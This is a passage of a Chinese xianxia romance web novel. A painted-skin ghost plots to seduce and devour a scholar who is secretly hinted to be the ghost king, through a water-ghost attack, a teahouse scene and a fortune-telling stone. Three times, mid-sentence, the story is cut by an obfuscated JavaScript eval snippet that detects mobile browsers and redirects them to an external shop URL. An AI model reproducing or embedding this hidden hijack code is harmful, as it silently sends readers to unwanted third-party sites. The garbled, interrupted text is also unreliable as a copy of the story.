“想想咱们的修行,你学画皮那么认真,不是最关心修行的吗?” 兰溪听了这话垂下眼,想起了自己的任务,还是轻轻“嗯”了一声,点了点头。 师姐们看兰溪不再说话,有人掩口打起来哈欠,对兰溪道:“小师妹,快去睡觉吧,我们可是为你担心了一晚上,都没睡好呢。” “走了走了,我的美容觉啊”其他人嬉笑着各自回了内室,兰溪也乖乖应了一声,转身走进自己的小隔间。 关上房门后,房间里剩下自己,兰溪走到木桌前坐下,铜镜里映出一张色彩斑斓、堪称灾难的脸,她盯着看了几秒,然后叹了口气,抬手寻到耳后用手指一刮,向下揭下一层皮。 那张画的乱七八糟的脸被她取下来放在桌子上,那张皮薄如蝉翼,依稀看得出凹凸轮廓,软塌塌的堆在桌子上。 铜镜里露出兰溪本来的面貌,一张清秀干净的脸庞,瞳仁很黑,鼻梁秀挺,眉眼间淡淡的一股书卷气。 兰溪把皮在桌子上铺开,用沾湿的湿布一点点擦拭上面的颜色,水渍混着颜色在皮上化开,又被逐渐擦去,露出一张空白的底色。 擦的差不多了,兰溪又拿出笔沾了颜料,对着铜镜里自己的脸,开始细细重新描绘,她想尽力还原自己本来的样子。 她努力描画着,手却不听使唤,折腾了半天,修修补补画出了一张脸,依然不算美观,和她的本相也不是很相似,她有些沮丧地放下笔。 算了,就这样吧,至少颜色干净了些,比之前的大花脸好。 她把未干的画皮放在一边,目光无意看到桌角散落着几张平时练手的草纸,鬼使神差的,她拿了一张纸铺平,重新沾了墨。 笔尖悬在纸上,兰溪有些放空,想起了破庙里的火光,书生安静的侧脸,还有师姐们欢快的笑语。她心里打算着,用自己的小学生画技,笨拙地画出了一个计划。 首先她画了两个火柴人,一个长发的代表自己,另一个高一些的代表卫祁,她在两个人之间画了一个小爱心。 第一步:帮助书生安顿下来,获取他的信任。于是她画了两个火柴人找到了一个小房子,一起走进小房子里。 第二步:日久生情,提出成婚。这次,她画了两个火柴人手拉手,在一个歪歪斜斜的礼堂前拜堂。 第三步:成婚后,朝夕相处,时机成熟。她画下那个代表她的小火柴人,突然张开了血盆大口,把旁边的小人给生吞了进去。 4. 且听春 兰溪制定的这个三步搞定卫祁的计划,用幼稚的笔触这样画下来,她看着那个张大嘴巴吃人的小人,想起师姐们讨论起这些,就像吃点心一样随意。 可她心里还是莫名觉得烦躁,她把那张纸揉皱,然后趴在桌子上,把脸埋在臂弯里。 为什么非要她完成这个任务,她从小到大连鸡都没杀了,根本就当不好坏人。 兰溪冰冷的手臂贴着额头,她换了个角度冷静想想,这里不过就是书里的世界,她的当务之急就是完成任务,然后回到自己的世界,卫祁也不过就是一个好下手的书生罢了。 她想了想坚定了心意,把那个揉皱的纸团又找回来,重新铺开。 去赴约的那一日,兰溪特意换了一身青绿色的儒裙,领口和袖口罩着一圈蓬松暖和的白色毛毛,她认真梳过发髻,挽了个简单的少女发髻,别上一支珍珠小簪,最后带上帷帽,遮住大半容貌。 兰溪看着铜镜里的自己,把自己画的那张不美观的脸遮上,只是漏出秀气的下颌和自己涂的很用心的嘴唇,倒是有几分娇俏的氛围美。 她又找了嫣娘,支支吾吾说要借点钱,嫣娘骂了一声“赔钱货”,转头拿里一袋银子给兰溪。 嫣娘想了想又蹙起眉,她拉住兰溪,把一个小物件塞进兰溪:“我总觉得最近外面不太平,我心里不踏实,这个叫半缘扇,你戴好,关键时刻注入一丝鬼气,可以救你的命。” 那是一个小巧的扇形吊坠,用红绳系着,兰溪收下后连忙道谢,又珍重的挂在脖子上。 “钱省着点花,可别傻乎乎的全给别人了!”嫣娘絮絮叮嘱起来。 “知道了,师父!”兰溪揣好银子,像只小鸟一样轻快便出了门。 日落时分,夕阳将亭台楼阁染上金辉,正是夜市刚刚开始的时候,街上行人不断,秦淮河畔,华灯初上,流淌的河水像一条通向天际的粼粼锦带,游人如织,笑语喧哗,正是一幅鲜活热闹的盛世画卷。 兰溪走在路上,按照约定朝秦淮河最大的石桥上赶着,远远的已经看见桥影横波,人影绰绰。 然而,兰溪越走近,越觉得气氛不对劲起来。人群开始变得急促混杂,不少人面带惊恐,仓惶从石桥方向涌来,兰溪在混乱奔跑的人群中逆行,听见人们的喊叫声。 “救命!救命!” “快跑啊!桥那边有水鬼!” “好多水鬼,水鬼杀人了!快跑!” 水鬼?兰溪听了人们的喊叫,心里咯噔一声,这种精怪她听嫣娘提起过,但是通常只在人烟稀少的水域深处行动,怎么会这样大规模在人烟如此聚集的秦淮河段攻击人? 兰溪突然想到了卫祁,他会不会已经在石桥上等自己了?他一个手无缚鸡之力的落魄书生,遇到水鬼岂不是很危险。 兰溪想着自己好不容易遇到一个眼瞎的书生,可不能让他随便死了。 这么想着,兰溪立刻迈开步子逆着人群,奋力向石桥方向跑去。 越靠近石桥,见到的景象就越混乱,桥上和岸边的行人尖叫着四处逃窜,暖黄的水面波涛汹涌,翻涌着阴气,水下一个个浑身湿漉,肤色青灰,指爪尖利的水鬼发出嘶哑难听的嚎叫,正从水里向上爬。 水鬼爬上岸边,或是跃上桥栏,扑向逃跑的行人,空气中弥漫开血腥味和水草的腐烂味。 兰溪见到这番景象,心立刻提了起来,她目光焦急地在混乱中搜寻。 就在石桥中央,在一片慌忙逃窜的混乱背景里,有一道身影却从容站在其中,与周围的仓皇格格不入。 卫祁换下了在破庙里的狼狈,穿着一身月白外衫,墨发半束,长身玉立,就静静地站在原地,喧嚣的声浪里,他眼里却带着疏离和冷意,仿佛眼前的红尘众生只是随意被碾碎的蝼蚁。 他就站在那里,而河里的水鬼就像被什么吸引,纷纷嘶吼着转换了攻击目标,纷纷朝他所在的位子聚拢过来。 卫祁在原地没什么动作,看着像是闻见血腥的鬣狗一样聚拢过来的水鬼,透着一丝淡淡的不耐烦,眼里的冷意又多了几分。 一只皮肤沾着粘液,獠牙外露的水鬼向他爬过来时,先扑向了卫祁身旁一个吓得跌倒在地,浑身瘫软的中年男人。 那中年男人的惨叫声戛然而止,水鬼尖利的爪子轻易割开了男人的喉咙,鲜血喷射出来,温热的血溅了卫祁一身,他却下意识用袖子挡了挡怀里的某物。 就在这时,另一只水鬼在另一侧看准时机扑了上去。 “小心!”兰溪想都没想,挤开混乱的人群,在那水鬼要扑上去之际,冲上去一个飞踢,将那水鬼一脚从桥上踢下水里。 剩下的水鬼闻见了生人的气息,更是凶厉地嘶吼起来,加快速度连攀带爬向桥上涌过来。 兰溪吓得脸色惨白,却张开双臂挡在卫祁面前,她头也不回地大喊道:“卫郎,你快跑吧,别管我了。” 看着几只水鬼爬了上来,俯着身子用黏腻的爪子伸向自己的腿,兰溪吓得腿都在打颤,她闭着眼,触电一般抬脚狠狠地朝那些水鬼的头胡乱踢去。 她一边踹着爬上来的水鬼,一边转头看卫祁竟然还站在自己的身后,她有些焦急地大喊:“你快走吧,真的不用管我!我不会有事的。” 卫祁真是个笨蛋,她好歹还是只画皮鬼可以顶一会,他一个肉体凡胎的书生站在这不是等死吗? 就在这时,水鬼群似乎已经开始被激怒了,几只体型巨大的水鬼直接踩着其他水鬼的身体,一跃而上,低吼着同时从不同方向扑过来。 一时间几只庞然巨物从四面八方向自己扑过来,兰溪也不知道如何招架,她吓得瞳孔睁大,千钧一发之际,她意识紧闭双眼,用手护着身后的卫祁。 兰溪缩着头紧闭双眼,却没有感觉都下一秒到来的攻击。 世界仿佛一瞬间安静了。 原本的撕吼声、破风声、尖叫声……一瞬间好像都戛然而止,只剩下河水缓缓流淌的呜咽。兰溪睫毛颤抖着小心睁开眼。 她看到眼前扑向她的那几只水鬼身躯毫无征兆的碎裂开来,化作一滩滩恶臭的黑色淤泥碎骨,流动着瘫在桥面上,而远处,在水里或在在岸上原本还在爬动的水鬼,也以同样诡异的方式被瞬间毙命,残躯散落一地。 一时间,水里只漂浮着一具具水鬼的尸体,且大都是头颅被瞬间拧断,一片水域被溅出来的黑色淤泥瞬间染黑,这些水鬼被近乎残忍的方式瞬间杀死。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202731|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就……都死了?可是这些水鬼是怎么死的?周围也只有凡人,并没有看到修士。 兰溪有些茫然地眨眨眼,她低头摸了摸自己的手脚毫发无损,又摸到自己脖颈间那枚扇形的挂坠。 她猛地想起嫣娘对自己说过的话,这法器,关键时刻可以救命。 难道是这法器起了作用?只有这个解释了,一定是这法器在关键时刻救了自己。 兰溪松了一口气,她宝贝似的摸了摸那挂坠,然后转身看向身后的卫祁。 卫祁就站在她的身后半步之遥,他一身白衣被鲜血星星点点地溅上,血迹像冬日红梅,盛开在衣襟袖口乃至下摆,他苍白如玉的侧颊上也沾上几滴鲜血,顺着他的俊美的面庞缓缓蜿蜒流下。 鲜红的血和他冷白的肤色形成强烈的对比,他静静立在那里,溅血的容颜在暮色和灯火的映照下,才更像危险的鬼魅精怪。 兰溪却忙上前两步,四处打量一番,询问:“你有没有事?受伤了吗?” 卫祁看着兰溪焦急关切的脸,眼里的冷意如同春日薄雪退散,变得柔和起来,他轻摇了摇头,唇角弯起一抹弧度道:“我无事。” 听到卫祁亲口说没事,兰溪才长舒一口气:“那就好……那就好。” “刚刚真是太吓人……”兰溪抚着胸口,有些后怕地开始念叨。 就在这时,卫祁将一直拢在怀里的手臂悄悄松开,从怀里取出一件雪白的斗篷。 他身上一身白衣血迹斑斑,偏偏这件斗篷被护得极好,雪白的绒毛和内衬没染上一丝血迹,被他从怀中小心拿出。 卫祁托着斗篷,递给兰溪:“你的斗篷,还给你。” 兰溪愣住,这傻书生自己命都快没了,还护着这不值钱的斗篷干什么? 她伸手接过还带着一丝温凉体温的斗篷,抱在怀里,不知道该说些什么,于是低声说了句:“谢……谢谢。” 兰溪接过斗篷后,便开始环顾四周,她发现周围好像有一种死寂一般的沉默,诡异至极。 她转头看去,周围除了一大片水鬼的尸体,还有零星几个侥幸活下来的行人,这些人瑟缩在远处的断栏后,或是房檐的阴影里,这些人并没有劫后重生的喜悦,反而一个个面白如纸,眼睛瞪大充斥着骇然看着她和卫祁。 仿佛这里有比水鬼更可怕的东西。 在这些旁观的行人眼里,水鬼扑上来的一瞬间,那白衣男人抬手挥指间,周身瞬间弥漫出令人骨髓发寒的浓稠漆黑雾气,那雾气瞬间化作无数狰狞舞动的巨大黑色触手,如同甩出吃人的巨鞭,在一瞬间将所有水鬼碾碎绞死。 煞气充斥整片河岸,一刹那把这里拉入无边鬼域,所有人感受着令人窒息的威压,喉间仿佛被无形的手死死掐住不能呼吸。 兰溪看到周围人惊恐的目光,想到刚刚自己脖颈上的挂着的半缘扇起了作用保护自己把水鬼都杀了,这一幕恐怕让这些人感到害怕,心里还有些歉意。 她被其他人的目光看得不自在,更担心这些目光会让卫祁感到不适或是引起他的怀疑。 远处传来有人赶来的脚步声,兰溪隐隐感觉到有灵力的波动。 “缉妖司办案!闲杂人等速避!” 5. 且听春 数名修士穿着统一的玄色劲装、手拿佩剑,正快速穿过混乱的街道,朝石桥方向赶来。 兰溪看着这些修士,心头一跳,城内如果有妖物作乱,缉妖司就会派人赶到现场除妖,她现在的样子,要是被看出端倪就不好了。 “这里不能待了。”她拉了拉卫祁的袖子,声音压低,带着催促:“我们快走吧。” 说完,她就拉着卫祁钻入一条相反方向的巷道,头也不回地快步离开这条狼藉的石桥。 直到走远一段路,身后的骚动与修士们被远远地抛在脑后,兰溪才放慢了脚步,她微微喘息着,回头看见卫祁就这样任由自己拉着,安静地跟着自己。 兰溪觉得卫祁可能真的不太聪明,出了这么大事,他也不着急跑,事后甚至一句也不多问。 他就这样用那双漂亮的眼睛,盯着自己有些气喘吁吁的脸,兰溪自己也没搞懂自己画的这张抽象脸,还有人会这样认真看着。 兰溪这么想着,转头看到此时所在的街道依然灯火喧闹,行人不绝,小贩依旧出摊叫卖,行人也还在街道上嬉笑行走。 兰溪恍惚地想,那桥头才刚上演百鬼噬人的惨剧,而在几条街之外,秦淮河的画舫依旧传来缥缈的笙歌,酒肆里觥筹交错,街道人流如织,一座城的繁华,不会因为一处动乱而停止。 凡人的生活总是无论如何都要过下去的,妖物作乱自有修士去处置,其他的人惊魂稍定,还是要继续生活的。 兰溪收回思绪,看了眼卫祁一身的血迹,觉得他大概也受了惊吓,于是提议:“我们找个地方歇歇脚吧?” “好,都依你。”卫祁淡笑着轻声开口。 于是兰溪领着卫祁找了个街边的茶馆,二人刚进门就吸引了店里所有人的目光聚集,人们异样地打量起他们二人。 或许是因为卫祁满身血迹,他皮肤本来就白得不像常人,眼瞳又太过漆黑,他这样有些异常的男人旁边跟了一个脸长得奇奇怪怪的兰溪,很难不引起旁人注意。 兰溪看到其他人的目光,下意识把帷帽拢紧了些,遮住了脸,然后拉着卫祁找了个靠墙角落的空桌。 “坐这儿吧。”兰溪低声说着,自己先在一张凳子坐下,然后拍了拍旁边的凳子,示意卫祁坐。 卫祁看了一眼凳子,低垂着眼,目光落在自己染血的袖口上,反而没有挨着兰溪坐,而是沉默地坐远,保持了一些距离。 兰溪注意到他细微的动作,帷帽下的眼睛眨了眨,却没有说什么,只是安静地把桌上倒扣的陶瓷茶杯翻正。 这时,柜台后低声算账的老板和老板娘注意这边,两人走了过来,这茶馆老板是个面相憨厚的中年男人,老板娘也眉眼和善,挽着利落的发髻。 “二位客官,这是……”老板看着卫祁一身血迹,吓了一跳,语气关切询问:“可是遇到了什么事?伤着没有?” 老板娘忽然想到什么,说道:“方才听过来的客人说,前头石桥那边闹了水鬼,还伤了不少人,两位莫不是从那边逃过来的?” 兰溪点了点头,隔着帷帽道:“是,我们正好路过,吓坏了。” “哎呦,真是造孽!”老板娘一听,满脸都是同情,她转头对老板道:“当家的,快去打一盆干净的温水来,再拿一条帕子。” “这位郎君,瞧这一身,热水马上就好,先洗洗手脸,也好去去晦气,再喝口热茶压压惊吧。”老板娘对着卫祁温声道。 很快,老板便端来一盆冒着热气的温水和一条干净的帕子,放在旁边的条凳上,对卫祁道:“郎君,这边请吧。” 卫祁抬眸,先看了一眼兰溪,兰溪对老板连连道谢,转头对卫祁轻声说:“去呗,洗洗也好。” 卫祁这才起身,走到水盆边,将修长的手指浸入温水中,一点点洗去指缝间干涸的血色。 他下意识地想转头看看兰溪,就看到兰溪在他起身后,悄悄伸出手,把他坐过的那张凳子,朝自己这边挪近了一些,两张凳子一时变得紧挨在一起。 挪完之后,她又端正坐好,好像什么也没做过,卫祁没说话,只是低头洗手,看着清水里晕开淡淡的红,他的眼里也荡开一层柔和。 卫祁洗完手后,拿帕子擦了擦脸,老板娘见他洗的差不多了,过来说:“郎君洗好了?这水脏了,我端走了。”说完,老板娘利落地端起水。 “有劳。”卫祁微微颔首道谢。 老板娘笑着摇摇头,端着水盆转身离开,刚放下水盆看见旁边倒茶的老板手指被烫伤了一下,她有些着急地上前查看:“哎呦,你这傻人!毛手毛脚的!” 老板娘捧着丈夫的手指吹气,老板憨憨地笑了笑,摸了摸后脑勺,转身去照看炉火时,顺手将老板娘耳边滑落的发丝轻轻拢了回去。 在这茶香炭火气的小小茶馆,二人在柴米油盐浸润的小日子里牵挂着对方。 卫祁的目光静静落在他们身上,看着二人之间的互动,他深色的眼眸里,那对夫妻的影子被灯火拉长,交织在一起微微晃动。 而这时兰溪这边,她正偏着头,隔着帷帽轻纱颇有兴趣的听着隔桌茶客兴致勃勃的聊天。 隔桌坐着三四个人,穿着统一的蓝色长袍,腰间配着一些低级法器,一看便像某个小门派出来历练的低阶修士,他们喝着酒聊起了最近的传闻。 “各位,听说了没?最近门里的几个长老,脸色可都不太好,我听相熟的师兄透露,说是有高阶法器隐隐感知到那位的气息。” “谁啊?”“还能是谁,自然是幽冥之地的那位鬼王,传闻他近来又现世了。” “师弟,你刚入门不知道这事,传闻百余年前,幽冥界不知怎的突然降生了一只大鬼,他生来就有无边鬼力,性情暴戾,他出世后就把当时妖魔混乱的幽冥之地血洗了一遍,听说原本称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202732|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王称霸的大妖,要么被他治的服服帖帖,要么被他吞的魂飞魄散,原本三界中最乱的幽冥,反倒规矩起来了。” “这么厉害,让他祸害人间那可得了?” “人间?他可看不上,他稳固幽冥后,第一件事就是打上九重天,听说是奔着几位刚飞升的仙君去的,具体恩怨无人知晓,只知道那一战打的日月无光,仙宫都塌完了,好几位仙君还为此堕了仙骨,自那以后,三界里谁听了他的名头不胆寒,那是真正的鬼神。” “那……他叫什么名字?” “没人知道他的名讳,或许知道的都死了,仙门里等闲也不敢轻易说出口,咱们这是在凡间,我才多说一二。” “不是说这鬼王已经沉寂很久了,怎么突然又出世了?” “据一些流传的模糊说法,每隔一段漫长岁月,他就会有一段特别虚弱的时期,以他的手段,若是想藏匿,这三界六道没有人找得到他,可这次,他自己却泄露气息,像是昭告所有人有种就去杀他。” “那些幽冥之地表面臣服的厉害角色,还有三界中不少觊觎他力量和位子的邪魔歪道,可全都蠢蠢欲动了,听说连一些大门派还有天界,也开始暗中打听他的踪迹……可是据说去找他的,一个活着回来的都没有,连尸体都找不着了。” “这么多人去杀他,他竟然都毫发无损?” “是啊,活得好端端的,他的力量不是我等能想象的,或许此刻,他就站在你我身边,我们也无从知晓。” 兰溪就这样细细听着邻桌的讨论,心里反而升起了一丝疑惑,她还记得她穿书之前曾草草翻过这本小说,里面有一段很重要的剧情。 在原书里,那位鬼王向三界透露出自己的气息,于是各界闻风而动赶来围剿,然而鬼王却把来犯者都屠戮了个干净,杀尽所有人后,他却莫名其妙地选择了自爆,将浩瀚鬼力与自身存在一同烬灭,彻底了断。 鬼王骤逝,三界祸乱彻底开始了,鬼王溃散的鬼气成了新的祸源,无数妖鬼因为沾染那些无主的力量而实力暴涨,天下开始群魔乱舞争夺新王,这时本书的主角团出现,开始了斩妖除魔的故事。 而兰溪原身的那只画皮鬼,就是因为侥幸获得一丝鬼王的溃散之力,才开始作乱一方,进而吸引主角团的注意,成为他们安定天下的一个垫脚石。 可是按照原书的进度,这时候鬼王应该已经自爆陨落了,可听那些修士的话,这鬼王非但没死,还活得好好的。 到底是哪里出错了?怎么没有按照原书的剧情来? 卫祁此时已经回到了座位上来,在兰溪悄悄挪近的凳子上坐下,他抬眸看见兰溪像是在出神想着什么。 “兰姑娘在想什么?”他突然开口轻声询问。 “在想哪位幽冥鬼王的事……”兰溪下意识喃喃回答。 卫祁闻言,眉梢微动:“你对他的事感兴趣?” 6. 且听春 兰溪有些惊讶,她没想到卫祁会反问,她看向卫祁道:“卫郎也知道那位鬼王的事?” 卫祁没有直接回答,只是淡淡道:“有什么想知道的吗?” 他的语气很平常,像是闲话家常一般,兰溪想着他一个普通书生,倒是胆子大,别人谈之色变的鬼王,他脸色却平淡。 兰溪想了想,问道:“我只是好奇……这位鬼王到底是个什么样的人呢?” 卫祁却垂眸一笑,好看的眼睛看向她:“正如其他人所说……是个人人得而诛之的魔头。” 兰溪听见卫祁的回答,觉得并不意外,她想到书里鬼王最后的自爆陨落,鬼气溃散,天下大乱,一个那样强大的存在,为什么最终走向那样的结局? 鬼使神差的,兰溪压低声音问:“卫郎,你既然颇为了解他,那你相信……那么厉害的人,有一天他会自己了结自己吗?” 卫祁指尖微不可察地顿了顿,然后唇边弯起一抹笑:“为何觉得奇怪?他杀人成性,搅乱阴阳,若真自绝,于三界而言,岂不是一桩幸事?” 兰溪皱了皱鼻子,她想起书里的剧情摇了摇头:“没了他,世间也未必太平,没了山,还有千千万万的沟壑,鬼王没了,还有千千万万的妖魔鬼怪,世人总是总是要标榜一个魔头存在,才好显得自己正道坦荡。” 兰溪说完后,看见卫祁一直盯着自己,意识到自己说得有点多了,赫然一笑:“我瞎想的,见笑了。” “那你觉得”卫祁开口:“这样的一个人,在他漫长的一生里会有怎样需要自我了结的理由?” 兰溪没想到他会问这个,愣了一下,望向窗外的沉沉夜色,远处秦淮河畔人群熙攘,点点灯火,她想了想道。 “这凡尘世间,贩夫走卒有生计之愁,痴男怨女有情爱之苦,便是檐下的猫狗,也会因饥寒离弃而痛苦,他大概也差不多,无非是,将凡人数十年的悲欢,拉长成千百年的孤寂,总有他自己的原因。” 兰溪想到他人的讨论,偏离了原书的剧情,她想那位鬼王大概一念之差有了新的想法,于是又开口道。 “这几日是春社灯会,人们会在节日里挂彩灯寻求一点点的喜悦热闹,猫狗忍受漂泊,也会去追寻温暖和食物,凡人悲苦,但最擅长在荒凉处种花,在苦海里造船,所以我在想……他或许也有了新的念想了。” 卫祁静静地看着兰溪说话,灯火在他的眸子里明明灭灭。良久,他才极轻地“嗯”了一声,像是认同,又像是默许。 聊到这里,兰溪想了想还是抛开了这个话题,毕竟她只是一个小小画皮鬼,任务也是勾引个把凡人,或许鬼王对这个世界有有影响,但是她到底什么也做不了,她能做的就是把当下的任务做好。 于是她打起精神,又问起了别的问题:“对了,卫郎,你在金陵城内,可已找到落脚之处了?” 卫祁听了,放下茶杯回答:“尚无。” 兰溪心中一喜,她早就打好腹稿,假装自然提起:“是这样,我昨日顺便留意了一下,西城琼花巷里有一处小院是空的,虽然位子偏僻安静了些,但院子不错,租金也公道,我已和牙行的老板大致讲好,若是卫郎不嫌弃,可以先搬进去住着。” 她顿了顿,又补充道:“我知道卫郎眼下不便,我可以先帮你垫付一部分房费,卫郎你是读书人,在城里找个活计应当不难,日后安定下来,或者……娶了夫人,也算是在金陵有了自己的家了。” “家?”卫祁听到这个字又重复了一遍,却不像在询问,更像在品味。 兰溪听了点了点头,帷帽下的脸颊微微发热:“对呀,你要是安定下来,再……娶一位本地的夫人,往后便有了家人,一年四季三餐两人,总有人等你回家一起过日子。” 兰溪这话虽然没有明说,但心里打着小算盘隐隐在暗示起来。 卫祁透过轻纱,在她的脸上停留片刻,然后点点头:“好,有劳你费心了。” 见他答应得爽快,兰溪松了口气,笑意染上眉梢:“那太好了,晚些我带你去看看,你要是觉得合适就定下来。” 就在这时,旁桌的那群修士似乎聊完了,准备结账离开,正说说笑笑地起身。 然而,在经过兰溪这桌时,其中一位修士脚步忽然一顿,转头看过来,有些审视又警惕地在兰溪和卫祁之间打量。 兰溪看那修士一直盯着这边,手指下意识地攥紧衣袖,她有些紧张起来,那修士不会是看出自己是画皮鬼了吧? 卫祁却依旧端坐着,眼皮也没抬一下,只是在手中把玩着茶杯。 那修士盯着他们看了好几息,旁边的同伴也察觉不对,停了下来。 修士眯着眼看了半天终于开口:“这位郎君,你身上似乎是沾了鬼气,颇为古怪,可能是被鬼物缠上了。” 兰溪的心立刻提起,这修士看出些什么了? 旁边另一个修士回来拉了拉那个疑心的修士:“师兄,你看他这一身血,定是刚从桥头水鬼那里逃出来的,沾上水鬼的阴气不是很正常吗?哪来的鬼物?你就别吓人家了。” 那疑心的修士听了这话,脸色稍缓,也不再深究,转而对卫祁道:“这位郎君,无论如何,还是要提醒你,身上沾了鬼气,最容易被其他不干净的东西缠上,近来城里不太平,那些妖物最是狡猾,嘴上对你好,说不准连哄带骗就想要你的命,郎君还是小心为妙。” 说完那群修士见卫祁表现得既不慌乱也不感激,便没再多说什么,转身匆匆离开了。 兰溪听了那修士的话,背后出了一身冷汗,这不就是在说她吗?完了,卫祁不会起疑了吧? 兰溪有些心虚地端起眼前的茶杯,借着喝茶的动作掩饰自己的慌乱,她悄悄抬眼,观察卫祁的脸色。 他却只是一副平静无波的样子,端起茶杯淡淡饮茶,全然没把那些话放在眼里的样子。 “你在担心什么?”卫祁垂着眸子,却突然开口。 “啊?没……没什么。”兰溪心猛地一跳,立刻摇头否认。 话一出口,她又后知后觉地感到一丝怪异,卫祁明明都没有看她,怎么知道她在担心? 卫祁却没有继续追问,只是似笑非笑地勾了勾唇角,不再言语。 兰溪心里一惊一乍的,却又拿不准对方的反应,脑子有点发懵。 “我……”她张了张嘴,转移话题起来:“我是说,那些仙长也是好意……我们还是赶紧走吧,不是说好了去看院子吗?” 兰溪有些仓促地站起身,抱起旁边的斗篷,急着离开的样子,卫祁看见兰溪这副样子,眼里笑意加深,但还是顺从地跟着站起身来。 兰溪领着卫祁穿行在街巷里,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202733|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着城西琼花巷的方向走去,她一边走暗自想着,接下来她要更谨慎一点才好,不能自乱了阵脚了。 卫祁则不紧不慢地跟在她的身后,月白衣衫上的血迹在灯火下时隐时现,他那张过分出色的容貌加上一身诡异的气质,引得路人频频侧目,他却恍若未觉,只是目光落在前方兰溪身影上。 就在他们要即将拐入一个相对僻静的巷子时,旁边一个卖杂货的摊子旁边,忽然传来一个慢悠悠的声音,带着调侃的熟悉声音。 “真是稀奇……不会画画的小鬼少之又少,眼神不好的书生更是万中无一,这两件稀罕物,倒是真让你这小丫头给凑出来了。” 兰溪脚步一顿,她转身看去,是那天遇到算命老道,他又支起那个简陋的算命摊子,正坐在小马扎上,笑着看着他们。 兰溪心里警铃大作,刚刚在茶馆差点被修士识破,现在又撞上这死老道,这算命老道怎么阴魂不散! 兰溪强作镇定,假装没听见,拉起卫祁的袖子就离开:“快走快走!这边近。” “哎!这位郎君留步!”老道却叫住卫祁:“相逢既是有缘,郎君可需要老夫为你算上一卦,就算……姻缘,如何?” 卫祁的脚步停了下来。 兰溪也被迫折回来,心里急的冒火,隔着帷帽狠狠瞪了一眼老道,开口:“我们不算命!你这老道,少管闲事。” 老道对兰溪的瞪视视若无睹,依旧笑眯眯地看着卫祁道:“老夫姓沈道号雲清,在此处摆摊数年,见过不少人,说来也巧,前两日有位小娘子,夜里迷茫,求问前程,老夫便随意给她指了个方向,没成想……” 他拖长调子,目光在兰溪和卫祁之间转了转:“没成想,倒真让她瞎猫碰死耗子,碰上了,郎君……你说这事有趣吗? 兰溪心里一跳,生怕这老道下一秒就把自己的身份抖出去了,她心一横,赶紧从钱袋里掏出一把铜钱,“啪”地一声砸在算命摊上。 “哪来的江湖骗子!在这胡言乱语骗钱,这些够了吧?拿了钱赶紧走!” 老道沈雲清瞥了一眼桌上的那堆铜钱,摇摇头,叹气:“这点……怕是不够算卦钱,老夫若是开口,总要说些值当的话。” 兰溪气的牙痒痒,这老家伙简直是趁火打劫。她想了想,咬咬牙又从钱袋里摸出一块银子,十分不愿地放在那堆铜钱上,这下总够了吧。 沈雲清这才眉开眼笑道:“善哉善哉,小娘子爽快!既然收了钱,老夫自然要给二位好好算上一卦。” 他装模作样地从怀里掏出一块通体晶莹,幽幽发光的石头,托在手掌。 “此乃老夫当年云游时,机缘巧合从幽冥界的鬼市得来的一块姻缘石,传闻若是有情之人将手覆于其上,石头便会生出感应因果,显露出二人缘分深浅,是否相配。” 沈雲清说完看了眼两人,漏出一个了然笑容:“哎呦,老夫觉得二位郎才女貌,十分般配啊,既然今日有缘,不如让老夫用这姻缘石,为二位测一测是否相配?” 兰溪看沈雲清朝自己眨了眨眼,心里会意,脸上微微一热,但心里却松了口气,她正愁不知道如何推进和卫祁的关系。 本来还怕这老道乱说话,但这老道可以啊,收了钱倒是会办事!还知道助攻! 沈雲清把姻缘石捧上前,先对兰溪说:“娘子,请。” 7. 且听春 兰溪便顺从地伸出手,将指尖搭在那晶莹剔透的石头上,几息之后,石头内部隐隐泛起一层淡淡的,柔和的乳白色光晕,像一层月华。 沈雲清点了点头,似乎觉得在意料之中,又转向卫祁,将石头递过去,笑吟吟的:“郎君,该你了,请。” 卫祁的目光落在那块姻缘石上,眼底略过一丝难以察觉的光,但还是伸出骨节分明的手,将手掌覆了上去。 就在他的掌心完全贴合石面的刹那,那石头内部柔和的乳白色光晕骤然熄灭,石头先是迅速变黑,随即不知哪来的黑雾如同浓缩的阴影瞬间包裹住整块石头,然后石头发出细微的咔咔声,迅速出现细密的裂纹,爆碎成几块。 “这!”沈雲清脸色一变,他有些凝重地抬起头,看向卫祁。 卫祁已经收回了手,神色依然平静,他漆黑的眼眸看向沈雲清,他的眼睛看不到底,语调平缓,却带着几分山雨欲来的压力。 “道长,结果如何?我与这位娘子……到底相不相配?” 沈雲清对上他的目光,浑身不由自主感受到一阵威压,他额角沁出冷汗,表情如临大敌。 随后他嘴唇哆嗦了一下,挤出一个有些勉强带着讨好的笑:“相……相配,自然是天作之合,再相配不过了!” 